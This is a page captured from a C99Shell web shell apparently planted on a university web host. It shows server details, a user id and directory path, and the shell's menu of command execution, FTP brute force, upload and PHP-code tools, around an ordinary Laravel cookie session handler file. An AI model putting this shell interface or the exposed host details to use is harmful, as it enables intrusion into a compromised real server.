!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Session/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CookieSessionHandler.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Session;

use 
Carbon\Carbon;
use 
SessionHandlerInterface;
use 
Symfony\Component\HttpFoundation\Request;
use 
Illuminate\Contracts\Cookie\QueueingFactory as CookieJar;

class 
CookieSessionHandler implements SessionHandlerInterface
{
    
/**
     * The cookie jar instance.
     *
     * @var \Illuminate\Contracts\Cookie\Factory
     */
    
protected $cookie;

    
/**
     * The request instance.
     *
     * @var \Symfony\Component\HttpFoundation\Request
     */
    
protected $request;

    
/**
     * Create a new cookie driven handler instance.
     *
     * @param  \Illuminate\Contracts\Cookie\QueueingFactory  $cookie
     * @param  int  $minutes
     * @return void
     */
    
public function __construct(CookieJar $cookie$minutes)
    {
        
$this->cookie $cookie;
        
$this->minutes $minutes;
    }

    
/**
     * {@inheritdoc}
     */
    
public function open($savePath$sessionName)
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function close()
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function read($sessionId)
    {
        
$value $this->request->cookies->get($sessionId) ?: '';

        if (! 
is_null($decoded json_decode($valuetrue)) && is_array($decoded)) {
            if (isset(
$decoded['expires']) && time() <= $decoded['expires']) {
                return 
$decoded['data'];
            }
        }

        return 
'';
    }

    
/**
     * {@inheritdoc}
     */
    
public function write($sessionId$data)
    {
        
$this->cookie->queue($sessionIdjson_encode([
            
'data' => $data,
            
'expires' => Carbon::now()->addMinutes($this->minutes)->getTimestamp(),
        ]), 
$this->minutes);
    }

    
/**
     * {@inheritdoc}
     */
    
public function destroy($sessionId)
    {
        
$this->cookie->queue($this->cookie->forget($sessionId));
    }

    
/**
     * {@inheritdoc}
     */
    
public function gc($lifetime)
    {
        return 
true;
    }

    
/**
     * Set the request instance.
     *
     * @param  \Symfony\Component\HttpFoundation\Request  $request
     * @return void
     */
    
public function setRequest(Request $request)
    {
        
$this->request $request;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0373 ]--